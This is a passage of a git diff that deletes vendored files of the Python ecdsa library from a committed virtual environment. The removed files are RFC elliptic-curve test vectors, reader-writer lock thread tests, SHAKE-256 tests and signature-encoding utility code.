16, - ), - y_qA=int( - "A7CA2D8191E21776A89860AFBC1F582FAA308D551C1DC6133AF9F9C3C" - "AD59998D70079548140B90B1F311AFB378AA81F51B275B2BE6B7DEE97" - "8EFC7343EA642E", - 16, - ), - dB=int( - "0AF4E7F6D52EDD52907BB8DBAB3992A0BB696EC10DF11892FF205B66D38" - "1ECE72314E6A6EA079CEA06961DBA5AE6422EF2E9EE803A1F236FB96A17" - "99B86E5C8B", - 16, - ), - x_qB=int( - "5A7954E32663DFF11AE24712D87419F26B708AC2B92877D6BFEE2BFC4" - "3714D89BBDB6D24D807BBD3AEB7F0C325F862E8BADE4F74636B97EAAC" - "E739E11720D323", - 16, - ), - y_qB=int( - "96D14621A9283A1BED84DE8DD64836B2C0758B11441179DC0C54C0D49" - "A47C03807D171DD544B72CAAEF7B7CE01C7753E2CAD1A861ECA55A719" - "54EE1BA35E04BE", - 16, - ), - x_Z=int( - "1EE8321A4BBF93B9CF8921AB209850EC9B7066D1984EF08C2BB7232362" - "08AC8F1A483E79461A00E0D5F6921CE9D360502F85C812BEDEE23AC5B2" - "10E5811B191E", - 16, - ), - y_Z=int( - "2632095B7B936174B41FD2FAF369B1D18DCADEED7E410A7E251F083109" - "7C50D02CFED02607B6A2D5ADB4C0006008562208631875B58B54ECDA5A" - "4F9FE9EAABA6", - 16, - ), - ) - - -class RFC7027(ECDH): - # https://tools.ietf.org/html/rfc7027#appendix-A - - def test_brainpoolP256r1(self): - self._do( - curve=curve_brainpoolp256r1, - generator=BRAINPOOLP256r1.generator, - dA=int( - "81DB1EE100150FF2EA338D708271BE38300CB54241D79950F77B0630398" - "04F1D", - 16, - ), - x_qA=int( - "44106E913F92BC02A1705D9953A8414DB95E1AAA49E81D9E85F929A8E" - "3100BE5", - 16, - ), - y_qA=int( - "8AB4846F11CACCB73CE49CBDD120F5A900A69FD32C272223F789EF10E" - "B089BDC", - 16, - ), - dB=int( - "55E40BC41E37E3E2AD25C3C6654511FFA8474A91A0032087593852D3E7D" - "76BD3", - 16, - ), - x_qB=int( - "8D2D688C6CF93E1160AD04CC4429117DC2C41825E1E9FCA0ADDD34E6F" - "1B39F7B", - 16, - ), - y_qB=int( - "990C57520812BE512641E47034832106BC7D3E8DD0E4C7F1136D70065" - "47CEC6A", - 16, - ), - x_Z=int( - "89AFC39D41D3B327814B80940B042590F96556EC91E6AE7939BCE31F3A" - "18BF2B", - 16, - ), - y_Z=int( - "49C27868F4ECA2179BFD7D59B1E3BF34C1DBDE61AE12931648F43E5963" - "2504DE", - 16, - ), - ) - - @pytest.mark.slow - def test_brainpoolP384r1(self): - self._do( - curve=curve_brainpoolp384r1, - generator=BRAINPOOLP384r1.generator, - dA=int( - "1E20F5E048A5886F1F157C74E91BDE2B98C8B52D58E5003D57053FC4B0B" - "D65D6F15EB5D1EE1610DF870795143627D042", - 16, - ), - x_qA=int( - "68B665DD91C195800650CDD363C625F4E742E8134667B767B1B476793" - "588F885AB698C852D4A6E77A252D6380FCAF068", - 16, - ), - y_qA=int( - "55BC91A39C9EC01DEE36017B7D673A931236D2F1F5C83942D049E3FA2" - "0607493E0D038FF2FD30C2AB67D15C85F7FAA59", - 16, - ), - dB=int( - "032640BC6003C59260F7250C3DB58CE647F98E1260ACCE4ACDA3DD869F7" - "4E01F8BA5E0324309DB6A9831497ABAC96670", - 16, - ), - x_qB=int( - "4D44326F269A597A5B58BBA565DA5556ED7FD9A8A9EB76C25F46DB69D" - "19DC8CE6AD18E404B15738B2086DF37E71D1EB4", - 16, - ), - y_qB=int( - "62D692136DE56CBE93BF5FA3188EF58BC8A3A0EC6C1E151A21038A42E" - "9185329B5B275903D192F8D4E1F32FE9CC78C48", - 16, - ), - x_Z=int( - "0BD9D3A7EA0B3D519D09D8E48D0785FB744A6B355E6304BC51C229FBBC" - "E239BBADF6403715C35D4FB2A5444F575D4F42", - 16, - ), - y_Z=int( - "0DF213417EBE4D8E40A5F76F66C56470C489A3478D146DECF6DF0D94BA" - "E9E598157290F8756066975F1DB34B2324B7BD", - 16, - ), - ) - - @pytest.mark.slow - def test_brainpoolP512r1(self): - self._do( - curve=curve_brainpoolp512r1, - generator=BRAINPOOLP512r1.generator, - dA=int( - "16302FF0DBBB5A8D733DAB7141C1B45ACBC8715939677F6A56850A38BD8" - "7BD59B09E80279609FF333EB9D4C061231FB26F92EEB04982A5F1D1764C" - "AD57665422", - 16, - ), - x_qA=int( - "0A420517E406AAC0ACDCE90FCD71487718D3B953EFD7FBEC5F7F27E28" - "C6149999397E91E029E06457DB2D3E640668B392C2A7E737A7F0BF044" - "36D11640FD09FD", - 16, - ), - y_qA=int( - "72E6882E8DB28AAD36237CD25D580DB23783961C8DC52DFA2EC138AD4" - "72A0FCEF3887CF62B623B2A87DE5C588301EA3E5FC269B373B60724F5" - "E82A6AD147FDE7", - 16, - ), - dB=int( - "230E18E1BCC88A362FA54E4EA3902009292F7F8033624FD471B5D8ACE49" - "D12CFABBC19963DAB8E2F1EBA00BFFB29E4D72D13F2224562F405CB8050" - "3666B25429", - 16, - ), - x_qB=int( - "9D45F66DE5D67E2E6DB6E93A59CE0BB48106097FF78A081DE781CDB31" - "FCE8CCBAAEA8DD4320C4119F1E9CD437A2EAB3731FA9668AB268D871D" - "EDA55A5473199F", - 16, - ), - y_qB=int( - "2FDC313095BCDD5FB3A91636F07A959C8E86B5636A1E930E8396049CB" - "481961D365CC11453A06C719835475B12CB52FC3C383BCE35E27EF194" - "512B71876285FA", - 16, - ), - x_Z=int( - "A7927098655F1F9976FA50A9D566865DC530331846381C87256BAF3226" - "244B76D36403C024D7BBF0AA0803EAFF405D3D24F11A9B5C0BEF679FE1" - "454B21C4CD1F", - 16, - ), - y_Z=int( - "7DB71C3DEF63212841C463E881BDCF055523BD368240E6C3143BD8DEF8" - "B3B3223B95E0F53082FF5E412F4222537A43DF1C6D25729DDB51620A83" - "2BE6A26680A2", - 16, - ), - ) - - -# https://tools.ietf.org/html/rfc4754#page-5 -@pytest.mark.parametrize( - "w, gwx, gwy, k, msg, md, r, s, curve", - [ - pytest.param( - "DC51D3866A15BACDE33D96F992FCA99DA7E6EF0934E7097559C27F1614C88A7F", - "2442A5CC0ECD015FA3CA31DC8E2BBC70BF42D60CBCA20085E0822CB04235E970", - "6FC98BD7E50211A4A27102FA3549DF79EBCB4BF246B80945CDDFE7D509BBFD7D", - "9E56F509196784D963D1C0A401510EE7ADA3DCC5DEE04B154BF61AF1D5A6DECE", - b"abc", - hashlib.sha256, - "CB28E0999B9C7715FD0A80D8E47A77079716CBBF917DD72E97566EA1C066957C", - "86FA3BB4E26CAD5BF90B7F81899256CE7594BB1EA0C89212748BFF3B3D5B0315", - NIST256p, - id="ECDSA-256", - ), - pytest.param( - "0BEB646634BA87735D77AE4809A0EBEA865535DE4C1E1DCB692E84708E81A5AF" - "62E528C38B2A81B35309668D73524D9F", - "96281BF8DD5E0525CA049C048D345D3082968D10FEDF5C5ACA0C64E6465A97EA" - "5CE10C9DFEC21797415710721F437922", - "447688BA94708EB6E2E4D59F6AB6D7EDFF9301D249FE49C33096655F5D502FAD" - "3D383B91C5E7EDAA2B714CC99D5743CA", - "B4B74E44D71A13D568003D7489908D564C7761E229C58CBFA18950096EB7463B" - "854D7FA992F934D927376285E63414FA", - b"abc", - hashlib.sha384, - "FB017B914E29149432D8BAC29A514640B46F53DDAB2C69948084E2930F1C8F7E" - "08E07C9C63F2D21A07DCB56A6AF56EB3", - "B263A1305E057F984D38726A1B46874109F417BCA112674C528262A40A629AF1" - "CBB9F516CE0FA7D2FF630863A00E8B9F", - NIST384p, - id="ECDSA-384", - ), - pytest.param( - "0065FDA3409451DCAB0A0EAD45495112A3D813C17BFD34BDF8C1209D7DF58491" - "20597779060A7FF9D704ADF78B570FFAD6F062E95C7E0C5D5481C5B153B48B37" - "5FA1", - "0151518F1AF0F563517EDD5485190DF95A4BF57B5CBA4CF2A9A3F6474725A35F" - "7AFE0A6DDEB8BEDBCD6A197E592D40188901CECD650699C9B5E456AEA5ADD190" - "52A8", - "006F3B142EA1BFFF7E2837AD44C9E4FF6D2D34C73184BBAD90026DD5E6E85317" - "D9DF45CAD7803C6C20035B2F3FF63AFF4E1BA64D1C077577DA3F4286C58F0AEA" - "E643", - "00C1C2B305419F5A41344D7E4359933D734096F556197A9B244342B8B62F46F9" - "373778F9DE6B6497B1EF825FF24F42F9B4A4BD7382CFC3378A540B1B7F0C1B95" - "6C2F", - b"abc", - hashlib.sha512, - "0154FD3836AF92D0DCA57DD5341D3053988534FDE8318FC6AAAAB68E2E6F4339" - "B19F2F281A7E0B22C269D93CF8794A9278880ED7DBB8D9362CAEACEE54432055" - "2251", - "017705A7030290D1CEB605A9A1BB03FF9CDD521E87A696EC926C8C10C8362DF4" - "975367101F67D1CF9BCCBF2F3D239534FA509E70AAC851AE01AAC68D62F86647" - "2660", - NIST521p, - id="ECDSA-521", - ), - ], -) -def test_RFC4754_vectors(w, gwx, gwy, k, msg, md, r, s, curve): - sk = SigningKey.from_string(unhexlify(w), curve) - vk = VerifyingKey.from_string(unhexlify(gwx + gwy), curve) - assert sk.verifying_key == vk - sig = sk.sign(msg, hashfunc=md, sigencode=sigencode_strings, k=int(k, 16)) - - assert sig == (unhexlify(r), unhexlify(s)) - - assert vk.verify(sig, msg, md, sigdecode_strings) diff --git a/venv/Lib/site-packages/ecdsa/test_rw_lock.py b/venv/Lib/site-packages/ecdsa/test_rw_lock.py deleted file mode 100644 index 0a84b9c7089e6ada7e6befad78bdead22666aeef..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/test_rw_lock.py +++ /dev/null @@ -1,180 +0,0 @@ -# Copyright Mateusz Kobos, (c) 2011 -# https://code.activestate.com/recipes/577803-reader-writer-lock-with-priority-for-writers/ -# released under the MIT licence - -try: - import unittest2 as unittest -except ImportError: - import unittest -import threading -import time -import copy -from ._rwlock import RWLock - - -class Writer(threading.Thread): - def __init__( - self, buffer_, rw_lock, init_sleep_time, sleep_time, to_write - ): - """ - @param buffer_: common buffer_ shared by the readers and writers - @type buffer_: list - @type rw_lock: L{RWLock} - @param init_sleep_time: sleep time before doing any action - @type init_sleep_time: C{float} - @param sleep_time: sleep time while in critical section - @type sleep_time: C{float} - @param to_write: data that will be appended to the buffer - """ - threading.Thread.__init__(self) - self.__buffer = buffer_ - self.__rw_lock = rw_lock - self.__init_sleep_time = init_sleep_time - self.__sleep_time = sleep_time - self.__to_write = to_write - self.entry_time = None - """Time of entry to the critical section""" - self.exit_time = None - """Time of exit from the critical section""" - - def run(self): - time.sleep(self.__init_sleep_time) - self.__rw_lock.writer_acquire() - self.entry_time = time.time() - time.sleep(self.__sleep_time) - self.__buffer.append(self.__to_write) - self.exit_time = time.time() - self.__rw_lock.writer_release() - - -class Reader(threading.Thread): - def __init__(self, buffer_, rw_lock, init_sleep_time, sleep_time): - """ - @param buffer_: common buffer shared by the readers and writers - @type buffer_: list - @type rw_lock: L{RWLock} - @param init_sleep_time: sleep time before doing any action - @type init_sleep_time: C{float} - @param sleep_time: sleep time while in critical section - @type sleep_time: C{float} - """ - threading.Thread.__init__(self) - self.__buffer = buffer_ - self.__rw_lock = rw_lock - self.__init_sleep_time = init_sleep_time - self.__sleep_time = sleep_time - self.buffer_read = None - """a copy of a the buffer read while in critical section""" - self.entry_time = None - """Time of entry to the critical section""" - self.exit_time = None - """Time of exit from the critical section""" - - def run(self): - time.sleep(self.__init_sleep_time) - self.__rw_lock.reader_acquire() - self.entry_time = time.time() - time.sleep(self.__sleep_time) - self.buffer_read = copy.deepcopy(self.__buffer) - self.exit_time = time.time() - self.__rw_lock.reader_release() - - -class RWLockTestCase(unittest.TestCase): - def test_readers_nonexclusive_access(self): - (buffer_, rw_lock, threads) = self.__init_variables() - - threads.append(Reader(buffer_, rw_lock, 0, 0)) - threads.append(Writer(buffer_, rw_lock, 0.2, 0.4, 1)) - threads.append(Reader(buffer_, rw_lock, 0.3, 0.3)) - threads.append(Reader(buffer_, rw_lock, 0.5, 0)) - - self.__start_and_join_threads(threads) - - ## The third reader should enter after the second one but it should - ## exit before the second one exits - ## (i.e. the readers should be in the critical section - ## at the same time) - - self.assertEqual([], threads[0].buffer_read) - self.assertEqual([1], threads[2].buffer_read) - self.assertEqual([1], threads[3].buffer_read) - self.assertTrue(threads[1].exit_time <= threads[2].entry_time) - self.assertTrue(threads[2].entry_time <= threads[3].entry_time) - self.assertTrue(threads[3].exit_time < threads[2].exit_time) - - def test_writers_exclusive_access(self): - (buffer_, rw_lock, threads) = self.__init_variables() - - threads.append(Writer(buffer_, rw_lock, 0, 0.4, 1)) - threads.append(Writer(buffer_, rw_lock, 0.1, 0, 2)) - threads.append(Reader(buffer_, rw_lock, 0.2, 0)) - - self.__start_and_join_threads(threads) - - ## The second writer should wait for the first one to exit - - self.assertEqual([1, 2], threads[2].buffer_read) - self.assertTrue(threads[0].exit_time <= threads[1].entry_time) - self.assertTrue(threads[1].exit_time <= threads[2].exit_time) - - def test_writer_priority(self): - (buffer_, rw_lock, threads) = self.__init_variables() - - threads.append(Writer(buffer_, rw_lock, 0, 0, 1)) - threads.append(Reader(buffer_, rw_lock, 0.1, 0.4)) - threads.append(Writer(buffer_, rw_lock, 0.2, 0, 2)) - threads.append(Reader(buffer_, rw_lock, 0.3, 0)) - threads.append(Reader(buffer_, rw_lock, 0.3, 0)) - - self.__start_and_join_threads(threads) - - ## The second writer should go before the second and the third reader - - self.assertEqual([1], threads[1].buffer_read) - self.assertEqual([1, 2], threads[3].buffer_read) - self.assertEqual([1, 2], threads[4].buffer_read) - self.assertTrue(threads[0].exit_time < threads[1].entry_time) - self.assertTrue(threads[1].exit_time <= threads[2].entry_time) - self.assertTrue(threads[2].exit_time <= threads[3].entry_time) - self.assertTrue(threads[2].exit_time <= threads[4].entry_time) - - def test_many_writers_priority(self): - (buffer_, rw_lock, threads) = self.__init_variables() - - threads.append(Writer(buffer_, rw_lock, 0, 0, 1)) - threads.append(Reader(buffer_, rw_lock, 0.1, 0.6)) - threads.append(Writer(buffer_, rw_lock, 0.2, 0.1, 2)) - threads.append(Reader(buffer_, rw_lock, 0.3, 0)) - threads.append(Reader(buffer_, rw_lock, 0.4, 0)) - threads.append(Writer(buffer_, rw_lock, 0.5, 0.1, 3)) - - self.__start_and_join_threads(threads) - - ## The two last writers should go first -- after the first reader and - ## before the second and the third reader - - self.assertEqual([1], threads[1].buffer_read) - self.assertEqual([1, 2, 3], threads[3].buffer_read) - self.assertEqual([1, 2, 3], threads[4].buffer_read) - self.assertTrue(threads[0].exit_time < threads[1].entry_time) - self.assertTrue(threads[1].exit_time <= threads[2].entry_time) - self.assertTrue(threads[1].exit_time <= threads[5].entry_time) - self.assertTrue(threads[2].exit_time <= threads[3].entry_time) - self.assertTrue(threads[2].exit_time <= threads[4].entry_time) - self.assertTrue(threads[5].exit_time <= threads[3].entry_time) - self.assertTrue(threads[5].exit_time <= threads[4].entry_time) - - @staticmethod - def __init_variables(): - buffer_ = [] - rw_lock = RWLock() - threads = [] - return (buffer_, rw_lock, threads) - - @staticmethod - def __start_and_join_threads(threads): - for t in threads: - t.start() - for t in threads: - t.join() diff --git a/venv/Lib/site-packages/ecdsa/test_sha3.py b/venv/Lib/site-packages/ecdsa/test_sha3.py deleted file mode 100644 index d30381d7af8dd839887c6ae35feb2d10059e93ad..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/test_sha3.py +++ /dev/null @@ -1,111 +0,0 @@ -try: - import unittest2 as unittest -except ImportError: - import unittest -import pytest - -try: - from gmpy2 import mpz - - GMPY = True -except ImportError: # pragma: no cover - try: - from gmpy import mpz - - GMPY = True - except ImportError: - GMPY = False - -from ._sha3 import shake_256 -from ._compat import bytes_to_int, int_to_bytes - -B2I_VECTORS = [ - (b"\x00\x01", "big", 1), - (b"\x00\x01", "little", 0x0100), - (b"", "big", 0), - (b"\x00", "little", 0), -] - - -@pytest.mark.parametrize("bytes_in,endian,int_out", B2I_VECTORS) -def test_bytes_to_int(bytes_in, endian, int_out): - out = bytes_to_int(bytes_in, endian) - assert out == int_out - - -class TestBytesToInt(unittest.TestCase): - def test_bytes_to_int_wrong_endian(self): - with self.assertRaises(ValueError): - bytes_to_int(b"\x00", "middle") - - def test_int_to_bytes_wrong_endian(self): - with self.assertRaises(ValueError): - int_to_bytes(0, byteorder="middle") - - -@pytest.mark.skipif(GMPY == False, reason="requires gmpy or gmpy2") -def test_int_to_bytes_with_gmpy(): - assert int_to_bytes(mpz(1)) == b"\x01" - - -I2B_VECTORS = [ - (0, None, "big", b""), - (0, 1, "big", b"\x00"), - (1, None, "big", b"\x01"), - (0x0100, None, "little", b"\x00\x01"), - (0x0100, 4, "little", b"\x00\x01\x00\x00"), - (1, 4, "big", b"\x00\x00\x00\x01"), -] - - -@pytest.mark.parametrize("int_in,length,endian,bytes_out", I2B_VECTORS) -def test_int_to_bytes(int_in, length, endian, bytes_out): - out = int_to_bytes(int_in, length, endian) - assert out == bytes_out - - -SHAKE_256_VECTORS = [ - ( - b"Message.", - 32, - b"\x78\xa1\x37\xbb\x33\xae\xe2\x72\xb1\x02\x4f\x39\x43\xe5\xcf\x0c" - b"\x4e\x9c\x72\x76\x2e\x34\x4c\xf8\xf9\xc3\x25\x9d\x4f\x91\x2c\x3a", - ), - ( - b"", - 32, - b"\x46\xb9\xdd\x2b\x0b\xa8\x8d\x13\x23\x3b\x3f\xeb\x74\x3e\xeb\x24" - b"\x3f\xcd\x52\xea\x62\xb8\x1b\x82\xb5\x0c\x27\x64\x6e\xd5\x76\x2f", - ), - ( - b"message", - 32, - b"\x86\x16\xe1\xe4\xcf\xd8\xb5\xf7\xd9\x2d\x43\xd8\x6e\x1b\x14\x51" - b"\xa2\xa6\x5a\xf8\x64\xfc\xb1\x26\xc2\x66\x0a\xb3\x46\x51\xb1\x75", - ), - ( - b"message", - 16, - b"\x86\x16\xe1\xe4\xcf\xd8\xb5\xf7\xd9\x2d\x43\xd8\x6e\x1b\x14\x51", - ), - ( - b"message", - 64, - b"\x86\x16\xe1\xe4\xcf\xd8\xb5\xf7\xd9\x2d\x43\xd8\x6e\x1b\x14\x51" - b"\xa2\xa6\x5a\xf8\x64\xfc\xb1\x26\xc2\x66\x0a\xb3\x46\x51\xb1\x75" - b"\x30\xd6\xba\x2a\x46\x65\xf1\x9d\xf0\x62\x25\xb1\x26\xd1\x3e\xed" - b"\x91\xd5\x0d\xe7\xb9\xcb\x65\xf3\x3a\x46\xae\xd3\x6c\x7d\xc5\xe8", - ), - ( - b"A" * 1024, - 32, - b"\xa5\xef\x7e\x30\x8b\xe8\x33\x64\xe5\x9c\xf3\xb5\xf3\xba\x20\xa3" - b"\x5a\xe7\x30\xfd\xbc\x33\x11\xbf\x83\x89\x50\x82\xb4\x41\xe9\xb3", - ), -] - - -@pytest.mark.parametrize("msg,olen,ohash", SHAKE_256_VECTORS) -def test_shake_256(msg, olen, ohash): - out = shake_256(msg, olen) - assert out == bytearray(ohash) diff --git a/venv/Lib/site-packages/ecdsa/util.py b/venv/Lib/site-packages/ecdsa/util.py deleted file mode 100644 index 1aff5bf518f69ac82bf16f32170c85dc8f826a66..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/util.py +++ /dev/null @@ -1,533 +0,0 @@ -""" -This module includes some utility functions. - -The methods most typically used are the sigencode and sigdecode functions -to be used with :func:`~ecdsa.keys.SigningKey.sign` and -:func:`~ecdsa.keys.VerifyingKey.verify` -respectively. See the :func:`sigencode_strings`, :func:`sigdecode_string`, -:func:`sigencode_der`, :func:`sigencode_strings_canonize`, -:func:`sigencode_string_canonize`, :func:`sigencode_der_canonize`, -:func:`sigdecode_strings`, :func:`sigdecode_string`, and -:func:`sigdecode_der` functions. -""" - -from __future__ import division - -import os -import math -import binascii -import sys -from hashlib import sha256 -from six import PY2, int2byte, next -from . import der -from ._compat import normalise_bytes - - -# RFC5480: -# The "unrestricted" algorithm identifier is: -# id-ecPublicKey OBJECT IDENTIFIER ::= { -# iso(1) member-body(2) us(840) ansi-X9-62(10045) keyType(2) 1 } - -oid_ecPublicKey = (1, 2, 840, 10045, 2, 1) -encoded_oid_ecPublicKey = der.encode_oid(*oid_ecPublicKey) - -# RFC5480: -# The ECDH algorithm uses the following object identifier: -# id-ecDH OBJECT IDENTIFIER ::= { -# iso(1) identified-organization(3) certicom(132) schemes(1) -# ecdh(12) } - -oid_ecDH = (1, 3, 132, 1, 12) - -# RFC5480: -# The ECMQV algorithm uses the following object identifier: -# id-ecMQV OBJECT IDENTIFIER ::= { -# iso(1) identified-organization(3) certicom(132) schemes(1) -# ecmqv(13) } - -oid_ecMQV = (1, 3, 132, 1, 13) - -if sys.version_info >= (3,): # pragma: no branch - - def entropy_to_bits(ent_256): - """Convert a bytestring to string of 0's and 1's""" - return bin(int.from_bytes(ent_256, "big"))[2:].zfill(len(ent_256) * 8) - -else: - - def entropy_to_bits(ent_256): - """Convert a bytestring to string of 0's and 1's""" - return "".join(bin(ord(x))[2:].zfill(8) for x in ent_256) - - -if sys.version_info < (2, 7): # pragma: no branch - # Can't add a method to a built-in type so we are stuck with this - def bit_length(x): - return len(bin(x)) - 2 - -else: - - def bit_length(x): - return x.bit_length() or 1 - - -def orderlen(order): - return (1 + len("%x" % order)) // 2 # bytes - - -def randrange(order, entropy=None): - """Return a random integer k such that 1 <= k < order, uniformly - distributed across that range. Worst case should be a mean of 2 loops at - (2**k)+2. - - Note that this function is not declared to be forwards-compatible: we may - change the behavior in future releases. The entropy= argument (which - should get a callable that behaves like os.urandom) can be used to - achieve stability within a given release (for repeatable unit tests), but - should not be used as a long-term-compatible key generation algorithm. - """ - assert order > 1 - if entropy is None: - entropy = os.urandom - upper_2 = bit_length(order - 2) - upper_256 = upper_2 // 8 + 1 - while True: # I don't think this needs a counter with bit-wise randrange - ent_256 = entropy(upper_256) - ent_2 = entropy_to_bits(ent_256) - rand_num = int(ent_2[:upper_2], base=2) + 1 - if 0 < rand_num < order: - return rand_num - - -class PRNG: - # this returns a callable which, when invoked with an integer N, will - # return N pseudorandom bytes. Note: this is a short-term PRNG, meant - # primarily for the needs of randrange_from_seed__trytryagain(), which - # only needs to run it a few times per seed. It does not provide - # protection against state compromise (forward security). - def __init__(self, seed): - self.generator = self.block_generator(seed) - - def __call__(self, numbytes): - a = [next(self.generator) for i in range(numbytes)] - - if PY2: # pragma: no branch - return "".join(a) - else: - return bytes(a) - - def block_generator(self, seed): - counter = 0 - while True: - for byte in sha256( - ("prng-%d-%s" % (counter, seed)).encode() - ).digest(): - yield byte - counter += 1 - - -def randrange_from_seed__overshoot_modulo(seed, order): - # hash the data, then turn the digest into a number in [1,order). - # - # We use David-Sarah Hopwood's suggestion: turn it into a number that's - # sufficiently larger than the group order, then modulo it down to fit. - # This should give adequate (but not perfect) uniformity, and simple - # code. There are other choices: try-try-again is the main one. - base = PRNG(seed)(2 * orderlen(order)) - number = (int(binascii.hexlify(base), 16) % (order - 1)) + 1 - assert 1 <= number < order, (1, number, order) - return number - - -def lsb_of_ones(numbits): - return (1 << numbits) - 1 - - -def bits_and_bytes(order): - bits = int(math.log(order - 1, 2) + 1) - bytes = bits // 8 - extrabits = bits % 8 - return bits, bytes, extrabits - - -# the following randrange_from_seed__METHOD() functions take an -# arbitrarily-sized secret seed and turn it into a number that obeys the same -# range limits as randrange() above. They are meant for deriving consistent -# signing keys from a secret rather than generating them randomly, for -# example a protocol in which three signing keys are derived from a master -# secret. You should use a uniformly-distributed unguessable seed with about -# curve.baselen bytes of entropy. To use one, do this: -# seed = os.urandom(curve.baselen) # or other starting point -# secexp = ecdsa.util.randrange_from_seed__trytryagain(sed, curve.order) -# sk = SigningKey.from_secret_exponent(secexp, curve) - - -def randrange_from_seed__truncate_bytes(seed, order, hashmod=sha256): - # hash the seed, then turn the digest into a number in [1,order), but - # don't worry about trying to uniformly fill the range. This will lose, - # on average, four bits of entropy. - bits, _bytes, extrabits = bits_and_bytes(order) - if extrabits: - _bytes += 1 - base = hashmod(seed).digest()[:_bytes] - base = "\x00" * (_bytes - len(base)) + base - number = 1 + int(binascii.hexlify(base), 16) - assert 1 <= number < order - return number - - -def randrange_from_seed__truncate_bits(seed, order, hashmod=sha256): - # like string_to_randrange_truncate_bytes, but only lose an average of - # half a bit - bits = int(math.log(order - 1, 2) + 1) - maxbytes = (bits + 7) // 8 - base = hashmod(seed).digest()[:maxbytes] - base = "\x00" * (maxbytes - len(base)) + base - topbits = 8 * maxbytes - bits - if topbits: - base = int2byte(ord(base[0]) & lsb_of_ones(topbits)) + base[1:] - number = 1 + int(binascii.hexlify(base), 16) - assert 1 <= number < order - return number - - -def randrange_from_seed__trytryagain(seed, order): - # figure out exactly how many bits we need (rounded up to the nearest - # bit), so we can reduce the chance of looping to less than 0.5 . This is - # specified to feed from a byte-oriented PRNG, and discards the - # high-order bits of the first byte as necessary to get the right number - # of bits. The average number of loops will range from 1.0 (when - # order=2**k-1) to 2.0 (when order=2**k+1). - assert order > 1 - bits, bytes, extrabits = bits_and_bytes(order) - generate = PRNG(seed) - while True: - extrabyte = b"" - if extrabits: - extrabyte = int2byte(ord(generate(1)) & lsb_of_ones(extrabits)) - guess = string_to_number(extrabyte + generate(bytes)) + 1 - if 1 <= guess < order: - return guess - - -def number_to_string(num, order): - l = orderlen(order) - fmt_str = "%0" + str(2 * l) + "x" - string = binascii.unhexlify((fmt_str % num).encode()) - assert len(string) == l, (len(string), l) - return string - - -def number_to_string_crop(num, order): - l = orderlen(order) - fmt_str = "%0" + str(2 * l) + "x" - string = binascii.unhexlify((fmt_str % num).encode()) - return string[:l] - - -def string_to_number(string): - return int(binascii.hexlify(string), 16) - - -def string_to_number_fixedlen(string, order): - l = orderlen(order) - assert len(string) == l, (len(string), l) - return int(binascii.hexlify(string), 16) - - -def sigencode_strings(r, s, order): - """ - Encode the signature to a pair of strings in a tuple - - Encodes signature into raw encoding (:term:`raw encoding`) with the - ``r`` and ``s`` parts of the signature encoded separately. - - It's expected that this function will be used as a ``sigencode=`` parameter - in :func:`ecdsa.keys.SigningKey.sign` method. - - :param int r: first parameter of the signature - :param int s: second parameter of the signature - :param int order: the order of the curve over which the signature was - computed - - :return: raw encoding of ECDSA signature - :rtype: tuple(bytes, bytes) - """ - r_str = number_to_string(r, order) - s_str = number_to_string(s, order) - return (r_str, s_str) - - -def sigencode_string(r, s, order): - """ - Encode the signature to raw format (:term:`raw encoding`) - - It's expected that this function will be used as a ``sigencode=`` parameter - in :func:`ecdsa.keys.SigningKey.sign` method. - - :param int r: first parameter of the signature - :param int s: second parameter of the signature - :param int order: the order of the curve over which the signature was - computed - - :return: raw encoding of ECDSA signature - :rtype: bytes - """ - # for any given curve, the size of the signature numbers is - # fixed, so just use simple concatenation - r_str, s_str = sigencode_strings(r, s, order) - return r_str + s_str - - -def sigencode_der(r, s, order): - """ - Encode the signature into the ECDSA-Sig-Value structure using :term:`DER`. - - Encodes the signature to the following :term:`ASN.1` structure:: - - Ecdsa-Sig-Value ::= SEQUENCE { - r INTEGER, - s INTEGER - } - - It's expected that this function will be used as a ``sigencode=`` parameter - in :func:`ecdsa.keys.SigningKey.sign` method. - - :param int r: first parameter of the signature - :param int s: second parameter of the signature - :param int order: the order of the curve over which the signature was - computed - - :return: DER encoding of ECDSA signature - :rtype: bytes - """ - return der.encode_sequence(der.encode_integer(r), der.encode_integer(s)) - - -def _canonize(s, order): - """ - Internal function for ensuring that the ``s`` value of a signature is in - the "canonical" format. - - :param int s: the second parameter of ECDSA signature - :param int order: the order of the curve over which the signatures was - computed - - :return: canonical value of s - :rtype: int - """ - if s > order // 2: - s = order - s - return s - - -def sigencode_strings_canonize(r, s, order): - """ - Encode the signature to a pair of strings in a tuple - - Encodes signature into raw encoding (:term:`raw encoding`) with the - ``r`` and ``s`` parts of the signature encoded separately. - - Makes sure that the signature is encoded in the canonical format, where - the ``s`` parameter is always smaller than ``order / 2``. - Most commonly used in bitcoin. - - It's expected that this function will be used as a ``sigencode=`` parameter - in :func:`ecdsa.keys.SigningKey.sign` method. - - :param int r: first parameter of the signature - :param int s: second parameter of the signature - :param int order: the order of the curve over which the signature was - computed - - :return: raw encoding of ECDSA signature - :rtype: tuple(bytes, bytes) - """ - s = _canonize(s, order) - return sigencode_strings(r, s, order) - - -def sigencode_string_canonize(r, s, order): - """ - Encode the signature to raw format (:term:`raw encoding`) - - Makes sure that the signature is encoded in the canonical format, where - the ``s`` parameter is always smaller than ``order / 2``. - Most commonly used in bitcoin. - - It's expected that this function will be used as a ``sigencode=`` parameter - in :func:`ecdsa.keys.SigningKey.sign` method. - - :param int r: first parameter of the signature - :param int s: second parameter of the signature - :param int order: the order of the curve over which the signature was - computed - - :return: raw encoding of ECDSA signature - :rtype: bytes - """ - s = _canonize(s, order) - return sigencode_string(r, s, order) - - -def sigencode_der_canonize(r, s, order): - """ - Encode the signature into the ECDSA-Sig-Value structure using :term:`DER`. - - Makes sure that the signature is encoded in the canonical format, where - the ``s`` parameter is always smaller than ``order / 2``. - Most commonly used in bitcoin. - - Encodes the signature to the following :term:`ASN.1` structure:: - - Ecdsa-Sig-Value ::= SEQUENCE { - r INTEGER, - s INTEGER - } - - It's expected that this function will be used as a ``sigencode=`` parameter - in :func:`ecdsa.keys.SigningKey.sign` method. - - :param int r: first parameter of the signature - :param int s: second parameter of the signature - :param int order: the order of the curve over which the signature was - computed - - :return: DER encoding of ECDSA signature - :rtype: bytes - """ - s = _canonize(s, order) - return sigencode_der(r, s, order) - - -class MalformedSignature(Exception): - """ - Raised by decoding functions when the signature is malformed. - - Malformed in this context means that the relevant strings or integers - do not match what a signature over provided curve would create. Either - because the byte strings have incorrect 